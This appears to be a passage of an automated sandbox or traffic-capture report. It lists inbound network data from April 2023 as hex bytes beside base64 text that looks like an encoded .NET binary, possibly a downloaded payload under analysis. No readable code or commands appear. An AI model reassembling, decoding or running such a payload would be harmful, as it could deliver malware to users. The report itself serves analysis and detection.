7VEQtGCMNAAAAAAAAAAAjDAAAAAAAAAAAIwtbGAcRBxNaBAAHs3sCBBEEAAevfQQRAtArCRPFKwQAB6l9xSsEAAezfRIrAAABP0AJEWmOBAAHrXsCKwAATCgJEQQAB618AiYtLR1aBAAHs3sCWBcEESYmNiwWAwImJjYtHQgRAgAAAYA7CBEEAAezewINMwQRBAAHr3sC7SsIE+crBBMIKyEzAwQAB6l7AiYQLRkEAAe2ewImFi0ZBAAHtHsCEQ
2023-04-20 23:03:01 UTC	6660	IN	Data Raw: 72 44 79 30 48 4a 67 59 74 47 41 59 41 43 5a 39 76 41 42 49 44 42 41 41 48 58 58 73 43 45 51 41 42 6f 41 41 41 41 45 4d 41 42 54 41 54 41 51 41 41 7a 68 59 41 4b 69 6f 41 41 41 41 41 41 41 41 51 41 53 6f 48 4b 67 67 62 41 41 43 56 46 66 34 43 45 67 41 41 41 41 44 64 47 76 34 41 41 41 41 43 4f 34 41 45 41 67 59 67 42 67 41 4f 31 43 67 57 33 76 73 72 43 79 58 65 4a 67 4d 74 48 41 6f 41 42 46 39 7a 42 69 59 47 41 42 41 70 4b 41 41 53 46 79 30 47 41 41 6d 62 62 77 41 53 42 41 4d 45 41 41 64 64 65 77 49 52 41 41 47 66 41 41 41 41 54 41 41 47 4d 42 73 42 41 41 44 4f 46 67 41 71 4b 67 41 41 41 41 41 41 41 42 41 42 4b 67 63 71 43 42 73 41 41 4a 55 56 2f 67 49 53 41 41 41 41 41 4e 30 61 2f 67 41 41 41 41 49 37 67 41 51 43 42 69 41 47 41 41 37 55 4b 42 62 65 2b 79 Data Ascii: rDy0HJgYtGAYACZ9vABIDBAAHXXsCEQABoAAAAEMABTATAQAAzhYAKioAAAAAAAAQASoHKggbAACVFf4CEgAAAADdGv4AAAACO4AEAgYgBgAO1CgW3vsrCyXeJgMtHAoABF9zBiYGABApKAASFy0GAAmbbwASBAMEAAddewIRAAGfAAAATAAGMBsBAADOFgAqKgAAAAAAABABKgcqCBsAAJUV/gISAAAAAN0a/gAAAAI7gAQCBiAGAA7UKBbe+y
2023-04-20 23:03:01 UTC	6676	IN	Data Raw: 37 41 67 41 41 41 41 41 41 41 41 41 71 41 41 6b 77 41 77 41 41 41 43 72 32 4b 79 59 44 4b 77 51 41 42 68 70 37 4a 67 67 74 48 42 6f 43 41 41 41 41 41 41 41 41 41 42 45 41 43 6a 41 44 41 41 41 41 4b 76 59 72 4a 67 4d 72 42 41 41 47 47 58 73 6d 43 43 77 57 47 51 49 41 41 41 41 41 41 41 41 41 45 51 41 4b 4d 41 4d 41 41 41 41 71 39 69 73 6d 41 79 73 45 41 41 59 59 65 79 59 49 4c 52 77 61 41 67 41 41 41 41 41 41 41 41 41 52 41 41 6f 77 41 77 41 41 41 43 6f 45 41 41 59 61 66 51 59 41 43 2f 78 7a 41 67 41 41 53 6e 51 49 41 67 51 41 42 68 6c 39 42 67 41 4a 79 6e 4d 43 41 41 4b 4e 64 41 67 43 42 41 41 47 47 48 30 47 41 41 79 53 63 77 49 41 41 59 68 30 43 41 49 4d 43 67 41 41 31 53 67 4b 41 41 44 55 4b 41 59 41 42 2f 64 76 42 2b 34 72 43 39 63 72 42 41 41 47 47 33 Data Ascii: 7AgAAAAAAAAAqAAkwAwAAACr2KyYDKwQABhp7JggtHBoCAAAAAAAAABEACjADAAAAKvYrJgMrBAAGGXsmCCwWGQIAAAAAAAAAEQAKMAMAAAAq9ismAysEAAYYeyYILRwaAgAAAAAAAAARAAowAwAAACoEAAYafQYAC/xzAgAASnQIAgQABhl9BgAJynMCAAKNdAgCBAAGGH0GAAyScwIAAYh0CAIMCgAA1SgKAADUKAYAB/dvB+4rC9crBAAGG3
2023-04-20 23:03:01 UTC	6692	IN	Data Raw: 41 41 4a 30 37 33 46 47 52 41 79 41 47 41 41 41 43 42 6a 67 72 4c 73 65 6b 55 51 4d 67 42 6b 30 75 6a 34 6d 78 73 69 41 47 41 41 41 41 6f 7a 75 4c 55 31 33 42 49 41 59 67 4e 63 65 6b 55 51 4d 67 42 67 41 41 41 69 34 34 41 41 41 42 43 54 74 56 75 57 74 4b 49 41 59 41 41 41 43 73 4f 30 79 76 78 41 34 67 42 67 41 41 41 51 55 37 4c 39 57 46 51 43 41 47 41 41 41 43 56 44 67 41 41 41 46 6a 4f 78 6f 72 6a 73 51 67 42 67 41 41 41 4c 67 37 43 78 69 77 51 43 41 47 47 7a 55 61 4b 34 37 45 49 41 62 7a 4b 77 6f 44 4b 30 34 31 56 62 6c 72 53 69 41 47 4a 67 73 74 48 51 59 41 42 4f 59 6f 43 50 55 72 44 41 4d 72 41 41 41 43 6b 7a 6b 49 4a 67 6b 74 46 77 59 41 44 6a 52 76 42 33 6f 4b 41 41 44 65 63 77 59 41 43 55 73 6f 4e 55 70 79 50 69 44 64 4b 77 51 54 33 43 73 4e 42 79 Data Ascii: AAJ073FGRAyAGAAACBjgrLsekUQMgBk0uj4mxsiAGAAAAozuLU13BIAYgNcekUQMgBgAAAi44AAABCTtVuWtKIAYAAACsO0yvxA4gBgAAAQU7L9WFQCAGAAACVDgAAAFjOxorjsQgBgAAALg7CxiwQCAGGzUaK47EIAbzKwoDK041VblrSiAGJgstHQYABOYoCPUrDAMrAAACkzkIJgktFwYADjRvB3oKAADecwYACUsoNUpyPiDdKwQT3CsNBy
2023-04-20 23:03:01 UTC	6708	IN	Data Raw: 64 42 67 41 4b 6d 69 67 47 41 41 78 63 62 77 59 41 43 59 56 76 42 67 49 45 41 41 56 50 66 51 59 41 44 47 42 76 42 67 41 4a 68 57 38 47 41 67 51 41 42 56 42 39 46 77 49 75 4c 41 6f 41 41 4d 45 6f 42 77 4d 53 44 51 59 41 44 46 70 76 42 67 41 4a 68 57 38 47 52 43 30 48 45 51 67 54 46 77 4d 7a 57 52 63 47 41 41 46 33 62 77 59 41 45 53 56 76 42 41 41 46 53 33 73 43 42 67 41 42 64 32 38 47 41 41 78 67 62 77 59 41 43 59 64 76 42 67 63 54 46 77 4d 7a 57 42 63 47 41 41 46 33 62 77 59 41 45 53 56 76 42 41 41 46 53 33 73 43 42 67 41 42 64 32 38 47 41 41 78 67 62 77 59 41 43 59 56 76 42 6b 34 74 42 52 46 53 4c 41 59 52 43 42 4d 57 42 78 4d 57 41 41 41 41 37 44 6c 67 42 52 45 42 2f 68 59 45 45 51 55 54 46 77 4d 78 46 77 59 41 41 58 6c 76 42 67 41 52 4a 57 38 45 41 41 Data Ascii: dBgAKmigGAAxcbwYACYVvBgIEAAVPfQYADGBvBgAJhW8GAgQABVB9FwIuLAoAAMEoBwMSDQYADFpvBgAJhW8GRC0HEQgTFwMzWRcGAAF3bwYAESVvBAAFS3sCBgABd28GAAxgbwYACYdvBgcTFwMzWBcGAAF3bwYAESVvBAAFS3sCBgABd28GAAxgbwYACYVvBk4tBRFSLAYRCBMWBxMWAAAA7DlgBREB/hYEEQUTFwMxFwYAAXlvBgARJW8EAA
2023-04-20 23:03:01 UTC	6724	IN	Data Raw: 41 41 41 41 41 41 42 45 41 43 54 41 44 41 41 41 41 4b 76 59 72 4a 67 4d 72 42 41 41 45 34 58 73 6d 43 43 30 62 46 77 49 41 41 41 41 41 41 41 41 41 45 51 41 4b 4d 41 4d 41 4b 67 41 72 42 67 41 4a 57 69 67 48 4b 79 59 6d 42 43 30 65 41 77 49 4b 41 41 42 4a 4b 41 49 41 41 41 41 41 41 41 41 41 46 77 41 4a 4d 41 4d 41 41 41 41 71 42 67 6f 4a 43 67 41 42 4e 79 67 48 46 67 6b 57 42 67 30 42 41 41 41 62 6a 51 63 54 4c 6d 6d 4f 42 67 66 58 4d 42 59 44 41 41 45 4c 2f 6c 6b 49 41 77 74 59 43 41 66 34 4b 77 77 44 4b 78 51 73 43 43 59 47 4c 52 6b 4b 41 41 43 42 62 77 4d 48 42 67 51 41 42 4e 39 37 41 67 41 72 43 2f 59 72 43 67 59 72 4a 67 59 74 48 68 59 6d 43 43 30 5a 41 51 41 41 47 34 30 44 65 67 6f 41 41 34 5a 7a 42 69 38 57 41 78 45 41 41 55 38 41 41 41 42 6c 41 41 Data Ascii: AAAAAABEACTADAAAAKvYrJgMrBAAE4XsmCC0bFwIAAAAAAAAAEQAKMAMAKgArBgAJWigHKyYmBC0eAwIKAABJKAIAAAAAAAAAFwAJMAMAAAAqBgoJCgABNygHFgkWBg0BAAAbjQcTLmmOBgfXMBYDAAEL/lkIAwtYCAf4KwwDKxQsCCYGLRkKAACBbwMHBgQABN97AgArC/YrCgYrJgYtHhYmCC0ZAQAAG40DegoAA4ZzBi8WAxEAAU8AAABlAA
2023-04-20 23:03:01 UTC	6740	IN	Data Raw: 72 4a 69 73 41 41 44 35 76 42 41 41 45 6b 33 73 43 42 7a 6b 72 4a 69 73 41 41 44 31 76 42 41 41 45 6b 6e 73 43 42 30 67 72 4a 69 73 41 41 44 78 76 42 41 41 45 6b 58 73 43 42 31 63 72 4a 69 73 41 41 44 39 76 42 41 41 45 6b 48 73 43 42 32 59 72 4a 69 73 41 41 44 35 76 42 41 41 45 6a 33 73 43 42 33 55 72 4a 69 73 41 41 44 31 76 42 41 41 45 6a 6e 73 43 42 77 41 41 41 49 51 34 4a 69 73 41 41 44 78 76 42 41 41 45 6a 58 73 43 42 77 41 41 41 4a 59 34 4a 69 73 41 41 44 74 76 42 41 41 45 6a 48 73 43 42 77 41 41 41 49 30 34 41 41 41 41 67 7a 6f 4b 41 41 46 67 4b 41 59 41 43 55 73 6f 4e 55 70 31 4b 69 41 49 41 41 41 41 70 7a 67 41 41 41 43 64 4f 67 6f 41 41 57 41 6f 42 67 41 4a 53 79 67 31 53 6e 55 2f 49 41 67 41 41 41 44 42 4f 41 41 41 41 4b 67 36 43 67 41 42 59 43 Data Ascii: rJisAAD5vBAAEk3sCBzkrJisAAD1vBAAEknsCB0grJisAADxvBAAEkXsCB1crJisAAD9vBAAEkHsCB2YrJisAAD5vBAAEj3sCB3UrJisAAD1vBAAEjnsCBwAAAIQ4JisAADxvBAAEjXsCBwAAAJY4JisAADtvBAAEjHsCBwAAAI04AAAAgzoKAAFgKAYACUsoNUp1KiAIAAAApzgAAACdOgoAAWAoBgAJSyg1SnU/IAgAAADBOAAAAKg6CgABYC
2023-04-20 23:03:01 UTC	6756	IN	Data Raw: 4b 41 41 44 43 62 77 4d 41 41 41 41 41 41 41 41 41 4d 77 41 4a 4d 41 4d 41 4b 70 4d 72 44 49 51 72 43 2f 2f 2f 2f 30 41 34 43 67 77 72 43 67 41 42 4c 32 38 47 43 67 41 42 4c 69 67 4b 41 41 44 4c 4b 41 49 4b 41 41 47 74 4b 41 6f 41 41 52 52 76 41 67 6b 4b 41 41 42 74 62 77 4d 4e 43 67 41 41 6e 43 67 42 41 41 44 75 6a 41 63 47 41 41 6c 4c 4b 44 56 4b 47 43 30 67 43 67 41 41 62 6d 39 5a 47 41 6f 41 41 47 45 6f 41 6d 6c 61 43 47 74 5a 47 41 6f 41 41 46 38 6f 41 68 63 58 43 67 41 44 4b 69 67 4b 41 41 42 74 62 77 4d 6d 61 79 30 58 57 56 73 45 41 41 51 66 65 77 49 48 50 34 41 41 41 43 49 6d 65 69 30 63 57 6d 73 4b 41 41 4d 70 4b 47 77 47 41 41 67 43 4b 41 4a 42 6f 41 41 41 49 67 6f 41 41 61 78 76 57 52 63 4b 41 41 42 68 4b 41 4a 5a 46 77 6f 41 41 46 38 6f 41 68 Data Ascii: KAADCbwMAAAAAAAAAMwAJMAMAKpMrDIQrC////0A4CgwrCgABL28GCgABLigKAADLKAIKAAGtKAoAARRvAgkKAABtbwMNCgAAnCgBAADujAcGAAlLKDVKGC0gCgAAbm9ZGAoAAGEoAmlaCGtZGAoAAF8oAhcXCgADKigKAABtbwMmay0XWVsEAAQfewIHP4AAACImei0cWmsKAAMpKGwGAAgCKAJBoAAAIgoAAaxvWRcKAABhKAJZFwoAAF8oAh
2023-04-20 23:03:01 UTC	6772	IN	Data Raw: 47 4a 69 59 4d 4c 52 67 43 41 42 49 6d 4a 67 30 74 48 68 51 66 41 42 49 43 41 41 45 32 46 66 34 41 45 68 45 41 41 51 49 41 41 41 41 72 41 41 4d 77 45 79 6f 42 41 41 42 58 64 41 6f 41 41 70 74 76 42 41 41 44 30 58 34 47 41 41 6c 4c 4b 44 56 4b 50 56 38 67 42 67 41 48 67 43 68 2b 4b 67 45 41 41 46 64 30 43 67 41 43 6d 32 38 45 41 41 50 52 66 67 59 41 43 55 73 6f 4e 55 6f 39 4f 69 41 47 41 41 65 41 4b 48 34 71 41 51 41 41 56 33 51 4b 41 41 4b 62 62 77 51 41 41 39 46 2b 42 67 41 4a 53 79 67 31 53 6a 30 61 49 41 59 41 42 34 41 6f 66 69 6f 42 41 41 42 58 64 41 6f 41 41 70 74 76 42 41 41 44 30 58 34 47 41 41 6c 4c 4b 44 56 4b 50 50 59 67 42 67 41 48 67 43 68 2b 4b 67 45 41 41 46 64 30 43 67 41 43 6d 32 38 45 41 41 50 52 66 67 59 41 43 55 73 6f 4e 55 6f 38 32 43 Data Ascii: GJiYMLRgCABImJg0tHhQfABICAAE2Ff4AEhEAAQIAAAArAAMwEyoBAABXdAoAAptvBAAD0X4GAAlLKDVKPV8gBgAHgCh+KgEAAFd0CgACm28EAAPRfgYACUsoNUo9OiAGAAeAKH4qAQAAV3QKAAKbbwQAA9F+BgAJSyg1Sj0aIAYAB4AofioBAABXdAoAAptvBAAD0X4GAAlLKDVKPPYgBgAHgCh+KgEAAFd0CgACm28EAAPRfgYACUsoNUo82C
2023-04-20 23:03:01 UTC	6788	IN	Data Raw: 65 41 67 41 41 41 41 41 41 41 41 41 52 41 41 6f 77 41 79 6f 4d 34 42 59 4c 34 42 62 6b 4d 67 59 52 42 67 70 59 46 77 5a 57 57 45 35 59 57 68 72 54 42 67 55 52 54 69 56 59 57 68 72 54 42 67 51 52 35 79 73 4d 33 79 73 4e 33 43 73 4c 49 43 73 4b 46 67 59 54 57 78 6f 46 42 52 4d 45 45 77 6e 67 43 43 59 58 4c 52 30 42 41 41 41 62 6a 78 59 45 4a 68 38 74 48 75 41 48 4a 69 49 74 47 67 45 41 41 42 75 50 41 77 49 52 41 41 44 70 41 41 41 41 57 41 41 47 4d 42 4d 41 41 41 41 41 42 77 43 6c 54 51 42 59 41 41 49 41 41 41 41 41 44 67 43 58 4d 67 42 6c 41 41 49 41 41 42 77 42 41 41 41 71 42 74 77 4b 41 41 42 2b 4b 41 6e 63 43 67 41 41 42 32 38 62 41 41 42 71 46 76 34 45 45 68 58 65 30 69 30 4b 41 41 4c 6f 4b 41 51 53 42 67 41 47 79 79 67 48 43 41 51 44 43 54 45 57 42 77 Data Ascii: eAgAAAAAAAAARAAowAyoM4BYL4BbkMgYRBgpYFwZWWE5YWhrTBgURTiVYWhrTBgQR5ysM3ysN3CsLICsKFgYTWxoFBRMEEwngCCYXLR0BAAAbjxYEJh8tHuAHJiItGgEAABuPAwIRAADpAAAAWAAGMBMAAAAABwClTQBYAAIAAAAADgCXMgBlAAIAABwBAAAqBtwKAAB+KAncCgAAB28bAABqFv4EEhXe0i0KAALoKAQSBgAGyygHCAQDCTEWBw
2023-04-20 23:03:01 UTC	6804	IN	Data Raw: 41 76 67 41 59 4d 42 73 41 41 41 41 71 43 67 41 41 64 53 67 43 42 67 41 47 51 79 67 49 41 67 59 41 41 79 73 6f 43 67 41 41 35 58 4d 48 43 67 41 42 78 69 67 47 45 67 59 54 42 67 41 44 4b 69 67 43 41 73 38 78 57 52 63 4b 41 41 48 71 62 77 59 41 42 6a 55 6f 41 67 59 4b 57 42 63 47 42 67 41 47 57 69 67 43 45 67 51 53 41 52 49 57 42 52 49 4a 41 67 30 4b 41 41 4b 6f 62 77 59 47 41 41 59 31 4b 41 4c 77 4b 77 51 54 37 79 73 4c 4b 43 73 4b 46 67 55 54 46 41 77 57 4a 67 30 74 47 52 59 6d 44 79 30 64 46 69 72 71 4b 77 59 41 41 79 73 6f 42 79 73 4b 4c 51 6f 41 41 65 70 76 42 67 41 47 4e 53 67 43 4a 69 59 52 4c 52 55 4b 41 41 44 6c 63 78 59 57 41 69 6f 42 4c 41 59 41 41 79 38 6f 41 68 45 41 41 4d 6f 41 41 41 43 68 41 42 67 77 45 77 41 41 41 41 41 4f 41 4b 59 75 41 48 Data Ascii: AvgAYMBsAAAAqCgAAdSgCBgAGQygIAgYAAysoCgAA5XMHCgABxigGEgYTBgADKigCAs8xWRcKAAHqbwYABjUoAgYKWBcGBgAGWigCEgQSARIWBRIJAg0KAAKobwYGAAY1KALwKwQT7ysLKCsKFgUTFAwWJg0tGRYmDy0dFirqKwYAAysoBysKLQoAAepvBgAGNSgCJiYRLRUKAADlcxYWAioBLAYAAy8oAhEAAMoAAAChABgwEwAAAAAOAKYuAH
2023-04-20 23:03:01 UTC	6820	IN	Data Raw: 41 46 67 41 4b 4d 41 4d 41 41 41 41 71 41 43 73 47 41 41 57 7a 4b 4f 30 72 42 41 41 45 70 58 33 59 4b 77 6f 52 4b 79 59 6d 44 69 30 65 42 67 49 6d 4a 67 34 74 47 51 6f 41 41 65 55 6f 41 41 41 41 41 43 49 4b 41 41 48 6b 4b 41 4e 42 6f 41 41 41 49 67 41 53 4a 69 59 74 47 77 59 41 42 62 51 6f 41 68 45 41 41 4c 4d 41 41 41 42 42 41 41 63 77 45 77 41 41 4b 76 45 72 4a 67 4d 72 42 41 41 45 70 58 73 47 41 41 57 30 4b 43 59 4e 4c 52 30 62 41 67 41 41 41 41 41 41 41 41 41 57 41 41 6f 77 41 79 6f 41 4b 77 59 41 42 62 4d 6f 42 79 73 6d 4a 67 51 74 48 51 59 43 41 43 73 45 41 41 53 6b 66 51 63 72 4a 69 59 45 4c 52 63 44 41 42 4c 6b 4b 77 6f 44 4b 78 59 73 43 67 41 41 32 69 67 43 41 41 4d 78 6a 41 4d 4b 41 41 44 5a 4b 41 49 41 41 7a 48 51 4a 68 6f 74 48 67 59 41 42 62 Data Ascii: AFgAKMAMAAAAqACsGAAWzKO0rBAAEpX3YKwoRKyYmDi0eBgImJg4tGQoAAeUoAAAAACIKAAHkKANBoAAAIgASJiYtGwYABbQoAhEAALMAAABBAAcwEwAAKvErJgMrBAAEpXsGAAW0KCYNLR0bAgAAAAAAAAAWAAowAyoAKwYABbMoBysmJgQtHQYCACsEAASkfQcrJiYELRcDABLkKwoDKxYsCgAA2igCAAMxjAMKAADZKAIAAzHQJhotHgYABb
2023-04-20 23:03:01 UTC	6836	IN	Data Raw: 71 41 43 73 45 41 41 4a 61 66 51 63 72 4a 69 59 45 4c 52 37 52 57 41 6f 41 41 54 68 76 41 32 49 65 43 67 41 42 4f 47 38 44 41 6e 6f 4b 41 41 45 35 63 77 59 41 43 55 73 6f 4e 55 70 2b 64 53 41 51 4c 68 67 45 42 67 41 47 33 69 67 43 41 41 41 41 41 41 41 41 41 44 6f 41 43 54 41 44 41 43 6f 41 4b 77 51 41 41 6c 70 39 42 79 73 6d 4a 67 51 74 47 77 4d 43 42 67 41 47 33 69 67 43 41 41 41 41 41 41 41 41 41 42 63 41 43 54 41 44 4b 67 41 72 42 41 41 43 57 48 33 72 4b 77 51 41 41 6c 64 39 44 69 73 6d 4a 67 73 74 48 51 59 41 42 73 51 6f 41 77 49 6d 4a 68 41 74 47 41 4d 43 41 41 41 41 41 41 41 41 41 43 51 41 43 54 41 44 41 41 41 41 4b 76 59 72 4a 67 4d 72 42 41 41 43 56 33 73 6d 43 43 30 58 47 77 49 41 41 41 41 41 41 41 41 41 45 51 41 4b 4d 41 4d 41 41 41 41 71 79 43 Data Ascii: qACsEAAJafQcrJiYELR7RWAoAAThvA2IeCgABOG8DAnoKAAE5cwYACUsoNUp+dSAQLhgEBgAG3igCAAAAAAAAADoACTADACoAKwQAAlp9BysmJgQtGwMCBgAG3igCAAAAAAAAABcACTADKgArBAACWH3rKwQAAld9DismJgstHQYABsQoAwImJhAtGAMCAAAAAAAAACQACTADAAAAKvYrJgMrBAACV3smCC0XGwIAAAAAAAAAEQAKMAMAAAAqyC
2023-04-20 23:03:01 UTC	6852	IN	Data Raw: 43 41 42 49 42 41 41 42 6f 46 66 34 41 45 67 49 45 41 41 49 43 66 51 59 4b 41 41 42 6a 4b 42 6b 66 41 42 49 4b 41 41 42 67 4b 41 6f 41 41 4d 51 6f 41 52 49 4c 43 67 41 41 79 79 67 43 41 42 49 4b 41 41 42 69 4b 41 6f 41 41 47 59 6f 41 52 49 6d 41 41 41 41 76 54 6f 56 43 67 41 41 79 79 67 43 41 42 49 6d 4a 67 41 41 41 4d 4d 36 47 41 6f 41 41 47 55 6f 41 52 49 6d 41 41 41 41 79 7a 6f 58 43 67 41 41 79 79 67 43 41 42 49 42 41 41 42 6f 46 66 34 41 45 67 49 52 41 41 41 79 41 41 41 41 2b 51 41 76 4d 42 4d 41 41 41 41 71 39 69 73 6d 36 53 73 6d 42 69 73 42 2f 69 59 49 4c 52 34 64 41 67 59 41 41 2f 78 76 42 67 41 52 49 53 67 6d 46 53 30 56 46 67 49 71 46 76 51 72 4a 67 4d 72 42 79 30 47 41 42 45 68 4b 43 59 4b 4c 52 73 59 41 67 41 41 41 41 41 41 41 41 41 31 41 41 Data Ascii: CABIBAABoFf4AEgIEAAICfQYKAABjKBkfABIKAABgKAoAAMQoARILCgAAyygCABIKAABiKAoAAGYoARImAAAAvToVCgAAyygCABImJgAAAMM6GAoAAGUoARImAAAAyzoXCgAAyygCABIBAABoFf4AEgIRAAAyAAAA+QAvMBMAAAAq9ism6SsmBisB/iYILR4dAgYAA/xvBgARISgmFS0VFgIqFvQrJgMrBy0GABEhKCYKLRsYAgAAAAAAAAA1AA
2023-04-20 23:03:01 UTC	6868	IN	Data Raw: 74 48 51 59 43 4a 69 59 4f 4c 52 34 4b 41 41 48 6c 4b 44 33 4d 7a 4d 30 69 43 67 41 42 35 43 67 44 51 41 41 41 41 43 49 41 45 69 59 6d 4c 52 67 47 41 41 4f 56 4b 41 49 52 41 41 42 79 41 41 41 41 51 51 41 48 4d 42 4d 41 41 43 72 78 4b 79 59 44 4b 77 51 41 42 6c 31 37 42 67 41 44 6c 53 67 6d 44 53 30 65 46 67 49 41 41 41 41 41 41 41 41 41 46 67 41 4b 4d 41 4d 41 41 41 41 71 41 43 73 47 41 41 4f 55 4b 4f 30 72 42 41 41 47 58 48 33 59 4b 77 6f 52 4b 79 59 6d 44 69 30 56 42 67 49 6d 4a 67 34 74 46 77 6f 41 41 65 55 6f 50 63 7a 4d 7a 53 49 4b 41 41 48 6b 4b 41 4e 42 6f 41 41 41 49 67 41 53 4a 69 59 74 47 51 59 41 41 35 55 6f 41 68 45 41 41 48 49 41 41 41 42 42 41 41 63 77 45 77 41 41 4b 76 45 72 4a 67 4d 72 42 41 41 47 58 48 73 47 41 41 4f 56 4b 43 59 4e 4c 52 Data Ascii: tHQYCJiYOLR4KAAHlKD3MzM0iCgAB5CgDQAAAACIAEiYmLRgGAAOVKAIRAAByAAAAQQAHMBMAACrxKyYDKwQABl17BgADlSgmDS0eFgIAAAAAAAAAFgAKMAMAAAAqACsGAAOUKO0rBAAGXH3YKwoRKyYmDi0VBgImJg4tFwoAAeUoPczMzSIKAAHkKANBoAAAIgASJiYtGQYAA5UoAhEAAHIAAABBAAcwEwAAKvErJgMrBAAGXHsGAAOVKCYNLR
2023-04-20 23:03:01 UTC	6884	IN	Data Raw: 73 42 41 41 42 51 6e 73 43 45 79 77 44 41 41 41 41 41 41 41 41 41 43 63 41 43 54 41 44 41 43 72 6d 4b 77 7a 5a 4b 77 73 47 4b 39 6b 7a 42 77 59 4b 4b 77 41 41 42 43 67 48 43 41 51 41 41 55 52 38 41 69 59 59 4c 52 67 42 41 41 42 34 64 41 6f 41 41 49 59 6f 41 77 63 6d 4a 53 30 59 42 67 41 72 43 67 4d 72 4a 67 4d 74 47 41 51 41 41 55 52 37 41 68 45 41 41 42 4d 41 41 41 41 2f 41 41 51 77 45 77 41 71 35 69 73 4d 32 53 73 4c 42 69 76 5a 4d 77 63 47 43 69 73 41 41 41 51 6f 42 77 67 45 41 41 46 45 66 41 49 6d 47 43 30 64 41 51 41 41 65 48 51 4b 41 41 43 45 4b 41 4d 48 4a 69 55 74 46 77 59 41 4b 77 6f 44 4b 79 59 44 4c 52 55 45 41 41 46 45 65 77 49 52 41 41 41 54 41 41 41 41 50 77 41 45 4d 42 4d 41 41 41 41 71 41 43 73 47 41 41 4b 79 4b 41 63 72 4a 67 4d 74 47 41 Data Ascii: sBAABQnsCEywDAAAAAAAAACcACTADACrmKwzZKwsGK9kzBwYKKwAABCgHCAQAAUR8AiYYLRgBAAB4dAoAAIYoAwcmJS0YBgArCgMrJgMtGAQAAUR7AhEAABMAAAA/AAQwEwAq5isM2SsLBivZMwcGCisAAAQoBwgEAAFEfAImGC0dAQAAeHQKAACEKAMHJiUtFwYAKwoDKyYDLRUEAAFEewIRAAATAAAAPwAEMBMAAAAqACsGAAKyKAcrJgMtGA
2023-04-20 23:03:01 UTC	6900	IN	Data Raw: 41 41 41 41 41 41 42 38 41 43 6a 41 44 41 41 41 41 4b 76 59 72 4a 67 4d 72 42 41 41 42 41 33 73 6d 43 43 30 5a 46 77 49 41 41 41 41 41 41 41 41 41 45 51 41 4b 4d 41 4d 41 41 41 41 71 41 43 73 45 41 41 45 43 66 51 63 72 4a 69 59 45 4c 52 55 44 41 67 41 41 41 41 41 41 41 41 41 52 41 41 6b 77 41 77 41 41 41 43 72 32 4b 79 59 44 4b 77 51 41 41 51 4a 37 4a 67 67 74 47 42 30 43 41 41 41 41 41 41 41 41 41 42 45 41 43 6a 41 44 41 41 41 71 38 53 73 6d 41 79 73 4b 41 41 46 46 62 77 51 41 41 51 46 37 4a 67 30 73 46 68 73 43 41 41 41 41 41 41 41 41 41 42 59 41 43 6a 41 44 41 43 72 65 4b 77 59 41 41 66 77 6f 33 53 73 45 41 41 45 44 66 64 30 72 42 41 41 42 41 48 30 56 4b 77 51 41 41 51 46 39 43 67 41 42 52 48 4d 43 4a 69 59 64 4c 52 35 71 46 67 49 6d 4a 68 34 74 46 77 Data Ascii: AAAAAAB8ACjADAAAAKvYrJgMrBAABA3smCC0ZFwIAAAAAAAAAEQAKMAMAAAAqACsEAAECfQcrJiYELRUDAgAAAAAAAAARAAkwAwAAACr2KyYDKwQAAQJ7JggtGB0CAAAAAAAAABEACjADAAAq8SsmAysKAAFFbwQAAQF7Jg0sFhsCAAAAAAAAABYACjADACreKwYAAfwo3SsEAAEDfd0rBAABAH0VKwQAAQF9CgABRHMCJiYdLR5qFgImJh4tFw
2023-04-20 23:03:01 UTC	6916	IN	Data Raw: 6d 42 43 30 62 41 77 49 41 41 41 41 41 41 41 41 41 45 51 41 4a 4d 41 4d 41 41 41 41 71 39 69 73 6d 41 79 73 45 41 41 44 4d 65 79 59 49 4c 52 30 59 41 67 41 41 41 41 41 41 41 41 41 52 41 41 6f 77 41 77 41 41 4b 71 41 72 43 67 41 41 57 43 69 55 4b 77 51 41 41 4d 6c 39 6b 43 73 45 41 41 44 49 66 52 55 72 42 67 41 44 39 6d 38 4b 41 41 44 32 63 77 59 41 41 59 6b 47 2f 67 49 47 41 41 46 76 4b 41 49 45 41 41 44 4b 66 51 59 41 44 72 68 7a 42 67 41 42 63 79 67 43 41 67 59 41 41 58 67 6f 42 51 49 47 41 41 46 30 4b 41 59 41 42 71 52 76 42 41 49 47 41 41 46 79 4b 41 51 43 42 67 41 42 63 43 67 44 41 69 59 6d 4a 6c 77 74 48 52 63 41 41 67 41 53 49 41 49 4b 41 41 44 31 4b 41 49 6d 4a 6d 63 74 46 51 6f 41 41 50 52 7a 41 69 59 6d 61 79 30 61 43 67 41 41 38 33 4d 43 41 41 Data Ascii: mBC0bAwIAAAAAAAAAEQAJMAMAAAAq9ismAysEAADMeyYILR0YAgAAAAAAAAARAAowAwAAKqArCgAAWCiUKwQAAMl9kCsEAADIfRUrBgAD9m8KAAD2cwYAAYkG/gIGAAFvKAIEAADKfQYADrhzBgABcygCAgYAAXgoBQIGAAF0KAYABqRvBAIGAAFyKAQCBgABcCgDAiYmJlwtHRcAAgASIAIKAAD1KAImJmctFQoAAPRzAiYmay0aCgAA83MCAA
2023-04-20 23:03:01 UTC	6932	IN	Data Raw: 41 41 41 41 41 41 42 45 41 43 54 41 44 41 41 41 41 4b 76 59 72 4a 67 4d 72 42 41 41 41 54 58 73 6d 43 43 30 5a 46 67 49 41 41 41 41 41 41 41 41 41 45 51 41 4b 4d 41 4d 41 41 41 41 71 41 43 73 45 41 41 42 4d 66 51 63 72 4a 69 59 45 4c 52 67 44 41 67 41 41 41 41 41 41 41 41 41 52 41 41 6b 77 41 77 41 41 41 43 72 32 4b 79 59 44 4b 77 51 41 41 45 78 37 4a 67 67 74 47 42 6b 43 41 41 41 41 41 41 41 41 41 42 45 41 43 6a 41 44 41 41 41 41 4b 67 41 72 42 41 41 41 53 33 30 48 4b 79 59 6d 42 43 30 58 41 77 49 41 41 41 41 41 41 41 41 41 45 51 41 4a 4d 41 4d 41 41 41 41 71 39 69 73 6d 41 79 73 45 41 41 42 4c 65 79 59 49 4c 52 73 64 41 67 41 41 41 41 41 41 41 41 41 52 41 41 6f 77 41 77 41 41 41 43 6f 41 4b 77 51 41 41 45 70 39 42 79 73 6d 4a 67 51 74 46 77 4d 43 41 41 Data Ascii: 